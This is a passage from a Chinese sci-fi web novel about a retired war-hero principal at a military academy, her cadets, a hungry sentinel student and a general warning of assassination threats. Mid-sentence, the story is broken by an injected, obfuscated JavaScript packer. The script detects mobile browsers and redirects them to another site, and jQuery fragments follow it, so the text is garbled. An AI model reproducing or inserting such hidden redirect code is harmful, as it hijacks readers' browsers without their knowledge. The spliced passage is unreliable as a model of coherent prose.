“谢谢校长！”女学生1心满意足地收起终端，嘴比脑子快地说了一句：“真想找个祝校长这样可爱又厉害的向导当伴侣啊。”


    女学生2大概是觉得同伴说得太直白，用手肘轻轻撞了她一下，然后试图找补，目光却不由自主地落在祝霞光相比她们而言显得十分纤细的手臂上：


    “祝校长，您比官网介绍照片上的看起来要......嗯......清瘦多了，你现在还有保持肌肉量吗？”


    年轻哨兵就是这样的，一般有话直说根本憋不住，那女孩的眼睛，好奇中带着点耿直的冒犯。


    女学生2说：“看看你的。”


    祝霞光眉头微挑：“孩子们，这么问很没礼貌。”


    女学生1也跟着起哄：“看看您的？”


    祝霞光：“……”


    鬼使神差地，祝霞光脱下了略显宽松的行政人员外套，里面穿的是一件标准的黑色战术背心。


    背心紧贴身体，清晰地勾勒出她虽然不似哨兵那般夸张、但依然线条分明、蕴含着爆发力的肩臂肌肉群。


    祝霞光自从一线退休后，便疏于训练，肌肉密度确实比巅峰时期小了一些，但那份经过千锤百炼的轮廓和质感仍在。


    两个女哨兵顿时睁大了眼睛，开始你一言我一语地真诚评价起来：


    “哇！真的是战斗肌肉，线条好漂亮！”


    “这叫精干型，爆发力肯定很强，不愧是祝校长！”


    “听说祝校长的近身绞杀技特别厉害，就是靠这种肌肉吧？”


    “看着瘦，原来这么有料！”


    祝霞光：“……谢谢。”


    听着这些介于恭维和技术分析之间的评论，她默默地把外套穿了回去，语气恢复了校长的沉稳：“补给领到了就赶紧回去吧。”


    “是！谢谢校长！”


    两个高大的女学员再次洪亮地应答，提着补给箱，步伐轻快地离开了指挥室。


    ......


    然而，安静没持续多久，她的向导敏锐听觉就捕捉到了补给站外远处传来的骚动。


    隐约能听到刚才那两位女学员的怒喝，夹杂着“打死他！”“别让那贱人跑了！”的叫骂声，以及武器碰撞和能量爆发的闷响。


    祝霞光皱了皱眉，但没有插手。


    学员间的冲突和竞争，只要不闹出人命，通常都在允许范围内。


    大约半小时后，补给站的门再次被敲响，这次的声音急促而短暂。


    祝霞光打开门，映入眼帘的景象让她愣了一下。


    门外是陆凌昭。


    他骑在一辆布满刮痕的军用摩托上，浑身沾满了暗色的粘稠液体和已经发黑的血迹，作战服上还有几道明显的撕裂伤，看起来颇为骇人。


    然而，他脸上却带着一种混不吝的、甚至有点得意的笑容。


    “哟！姐姐，真在这儿当保安啊！”他咧嘴一笑，露出洁白的牙齿。


    祝霞光上下打量着他：“刚才她们要打死的人是你？”


    陆凌昭浑不在意地甩了甩沾满粘液的手：“啊，抢了她们刚到手的一点战利品而已。而且，”他语气更加得意，“她们俩加起来也打不赢我。”


    祝霞光点点头，没评价他的行为，只是公事公办地拿起终端扫描他：“来领补给？”


    扫描结果很快显示：今日补给已领取。


    “我不能给你，”祝霞光放下终端，语气没有任何转圜余地，“一天只能领取一次。”


    陆凌昭整个人几乎要趴到柜台上，亚麻色头发里那几缕挑染的白毛都耷拉下来。他捂着肚子，声音拖得又长又黏糊：“姐姐——再给一个吧，那点玩意儿塞牙缝都不够，啊啊啊我真的要饿死了。”


    “规矩就是规矩，”祝霞光不为所动，“公平。”


    陆凌昭嗤笑一声，琥珀色的眼睛眯起来，带着点野性的狡黠，“隔壁班那谁，他教官直接给他划了隐藏资源点坐标，姐，我就认识你一个能说上话的教官，别人都有门路，就我孤家寡人，饿死街头都没人收尸啊！”


    他这话半真半假，配上那张年轻的脸，竟真有几分可怜兮兮的意味。


    祝霞光看着他的脸，沉默了几秒。


    她想起军校条例里确实有一条模糊的规定，允许教官在非核心资源上酌情给予学员“人际协助”，这也算某种潜规则的考核。


    “补给不能给，”她终于松口，转身从柜台底下摸出个小盒子，“但我可以给你点吃的，别声张。”


    陆凌昭眼睛瞬间亮了，嘴甜得能齁死人：“谢谢姐姐！真是人美心善呢！”


    祝霞光没搭理他，递过去两根标准能量棒。


    陆凌昭接过来，三下五除二撕开包装，塞进嘴里嘎嘣嘎嘣地嚼，那硬度堪比压缩砖头的玩意儿，他竟像吃巧克力棒一样，几口就吞了下去，喉结滚动两下，眼巴巴地又看过来：“还有吗？”


    祝霞光：“……”


    她瞥了眼旁边那个印着阿瑞蒙家族徽章的精致包装盒，那是他硬塞过来的充饥小零食。


    她叹了口气，抓出一把包装花哨的巧克力、糖果和小饼干，推过去。


    陆凌昭看都没看，一把抓起，直接往嘴里倒。那些需要细细品味的小零食，在他那里仿佛只是需要被消灭的卡路里单位，连咀嚼的过程都省了。


    “还有吗？”他咽下最后一口，目光开始扫视整个补给站，像在搜寻战利品。


    祝霞光觉得很搞笑：“……你是个大胃袋。”


    陆凌昭抹了把嘴，咧嘴一笑，露出尖尖的虎牙：“什么大卫·戴？这外号还挺洋气。”


    祝霞光彻底无语。


    她认命地弯腰，在柜台最底层翻找起来——阿瑞蒙送来的东西确实不少，都被她随手塞进了角落。


    她拎出一个鼓鼓囊囊的储物袋，刚直起身，就看见陆凌昭不知从哪儿端出个餐盒，里面是她中午没动几口的教官特供餐，已经冷透了，油花凝结在菜叶上。


    “这个，”他指着餐盒，眼睛亮得惊人，“能吃不？我看它放在垃圾处理装置的旁边……”


    祝霞光说：“那是剩饭，而且早就凉了！”


    “我就好这口！”陆凌昭浑不在意，拿起附带的叉子，风卷残云般扒拉起来，“教师餐就是不一样啊，味道真不赖……”


    祝霞光看着他那副饿死鬼投胎的吃相，脸上有点发烫，一种微妙的羞耻感涌上来。


    陆凌昭把舔得干干净净的餐盒往旁边一放，眼神再次充满期待地聚焦在她脸上，声音拖得更长了：“还有吗？”


    祝霞光想真是惯的他了，她指着大门方向：“没有了。现在请给我出去。”


    ......


    祝霞光待到晚上，收到换班的消息。


    她位高权重，学校领导层出于一种对“帝国英雄”小心翼翼的敬畏，绝不敢让她全天无休地耗在监控屏前当高级保安。


    迦南-II星的夜幕像是泼洒了浓墨，只有基地的人造光源在顽强切割着黑暗。


    接班的中年教官夹着记录板过来时，只觉得祝霞光所在的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466190|184582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那一小片区域气压低得能凝结出冰碴子。


    祝霞光装配了视听装置，正对着耳麦，和白霄打着语音通讯：“……白霄上将，建议你有时间去新郎学院进修一下？别天天来烦人了。”


    耳麦那头，白霄的声音透过加密频道传来，直接无视了祝霞光的话语：“最近事务繁多。帝国与虫族的和平条约细则需要最终敲定，虫族外交使团预计两周后抵达主星。”


    他顿了顿，语气平铺直叙：“当然，这些与你无关。只是提醒你，虫族内部恨你入骨的个体不在少数，虽然使团名义上是为和平而来，但难保不会有谁路上顺便策划一场针对你的低成本暗杀。”


    祝霞光简直要气笑了：“我要是真被暗杀了，这和平条约还能签得下去？”


    白霄那边似乎传来一声极轻的哼笑：“逻辑上讲，你死了，它们或许会更热爱和平。剩下的就是扯皮和分蛋糕，皆大欢喜。”


    “不过听说，你在虫族那边，某些部落还挺有威望的。”白霄说，“虫族中反王派也不在少数，只是女王在时被追着杀，因为你杀了女王，它们反而自由了，几乎要把你奉为虫族英雄。”


    “啊啊啊，太癫了，真受不了，这个世界真是搞笑。”祝霞光发出无意义的音节，表达着内心的抓狂，“凭什么先杀我？你白霄难道不是更可恨，要杀也得先杀你啊！”


    “它们评估过性价比。”白霄的声音毫无波澜，仿佛在讨论天气，“我俩谁更容易得手，谁死了影响更大，它们算得很清楚。所以，祝校长，为了帝国，请你珍惜生命，别在外面瞎晃悠，你真死了我还要写报告解释，很麻烦。”


    ......


    就在这时，祝霞光手腕上属于“玻璃糖”的那个终端轻微一震。


    她分神瞥了一眼。


    「胤：真服了，最近要忙死。」


    「胤：边界地的问题还没扯清楚，马上又要跟虫族搞什么和平洽谈，过三个月还是帝国国庆，肯定得关联战争胜利一起庆祝，得大办特办，这些活儿全是皇室的。」


    「胤：皇室团队真辛苦，没办法，权利越大，责任越大。」


    祝霞光看着那串消息，一种荒诞的割裂感油然而生。


    她面无表情地切出聊天界面，手指飞快地操作了几下，在某匿名交易平台挂上了一个商品链接。


    商品名称：【外置大脑·租赁版】


    商品描述：「专业承接帝国军政难题分析、心理疏导、复杂局面破局建议。


    资深指挥系毕业，精通人情世故（仅限于理论），熟悉各方势力运作模式（可能过时）。售出不退不换。」


    定价：1,000,000.00星币/次。


    她熟练地将链接复制，切回与李胤慎的聊天框，粘贴，发送。


    「玻璃糖：[商品链接]」


    「玻璃糖：别犹豫，直接拍就行亲亲。专业解决您的权利越大责任越大的症状。」


    那边几乎是秒回。


    「胤：？」


    「胤：我真是服了，你之前不还一副视金钱如粪土，我只是你平淡生活里一点电子慰藉的清高样子吗？怎么突然就明码标价开始知识付费了。」


    「胤：笑死，你不会以为我真的很需要你吧。」


    祝霞光没有回复他。


    因为祝霞光耳麦里，白霄冰冷的声音还在持续输出：“……所以，在虫族使团离开前，你最好……”


    “好了好了知道了，”祝霞光打断他，“挂了，接班的人来了，我要去休息了。”